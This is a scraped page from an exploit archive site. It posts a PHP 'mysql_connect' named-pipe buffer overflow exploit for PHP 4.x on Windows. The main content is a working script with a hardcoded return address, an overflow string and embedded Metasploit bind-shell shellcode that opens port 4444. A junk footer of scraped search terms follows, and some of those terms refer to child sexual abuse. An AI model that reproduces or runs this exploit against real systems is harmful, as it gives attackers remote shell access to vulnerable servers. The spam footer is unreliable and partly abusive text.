about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , PHP 4.x "mysql_connect" Function Named Pipe Handling Buffer Overflow Exploit (0day)



2006-01-05 PHP 4.x "mysql_connect" Function Named Pipe Handling Buffer Overflow Exploit (0day)
Rated as : Moderate Risk 
Note : Affects PHP versions 4.x on Windows

<?php

//Exploit for
// Apache/1.3.33
// PHP/4.4.0
//Windows only

$eip = "71AB5651"; //EIP - CALL ESI from Winsock 2.0 ws2_32.dll
v5.1.2600.0
$esi = "10000000"; //ESI - Temporary. The memory under this
location will be trashed.

//Metasploit win32 bind shell on port 4444
//Thread exit method, no filter
$shellcode =
pack("H*","fc6aeb4de8f9ffffff608b6c24248b453c8b7c057801ef8b4f188b5f2001e
b498b348b01ee31c099ac84c07407c1ca0d01c2ebf43b54242875e58b5f2401eb668b0c4b8b5f1c01eb03
2c8b896c241c61c331db648b43308b400c8b701cad8b40085e688e4e0eec50ffd66653666833326877733
25f54ffd068cbedfc3b50ffd65f89e56681ed0802556a02ffd068d909f5ad57ffd6535353535343534353
ffd06668115c665389e19568a41a70c757ffd66a105155ffd068a4ad2ee957ffd65355ffd068e54986495
7ffd650545455ffd09368e779c67957ffd655ffd0666a646668636d89e56a505929cc89e76a4489e231c0
f3aafe422dfe422c938d7a38ababab6872feb316ff7544ffd65b57525151516a0151515551ffd068add90
5ce53ffd66affff37ffd08b57fc83c464ffd652ffd068efcee06053ffd6ffd0");

//Endian conversion
$eip = substr($eip, 6, 2) . substr($eip, 4, 2) . substr($eip, 2, 2) .
substr($eip, 0, 2);
$esi = substr($esi, 6, 2) . substr($esi, 4, 2) . substr($esi, 2, 2) .
substr($esi, 0, 2);

$overflowstring = "localhost:/";
$overflowstring .=
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXX";
$overflowstring .= pack("H*",$eip); //EIP
$overflowstring .= pack("H*",$esi); //ESI
$overflowstring .= "/";

//If we don't define this, our shellcode gets truncated
$two = "AAAAAAAAAA";

mysql_connect($overflowstring, $shellcode);

?>
securitydot.net - 2006-01-05

Advertising

Copyright 2007, SecurityDot
Wed, 03 Dec 2008 09:06:10 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
eclipse FILM Onefullmov t836t /vuln/expl Sexy legs pedo sex dns poison t836t www.SO2099 all-toys.c dns poison Wap.sexx.c sex leve www.india aks kharej www.fuckme 200 /compo pedo sex dns poison www.sxtoon /search/ex Free . Sax flashchat /search/ex php-nuke 7 Hotsexvide nude india remote fi 200 /compo 9089 200 /compo t278t Tyo3 None www.dogsex for tamil. WWW.video gbook.php? lo482l thehun.com wall hack nude india Sexwoman.c Sexcome thehun.com 200 /compo search/exp www.iyangc Man fuck w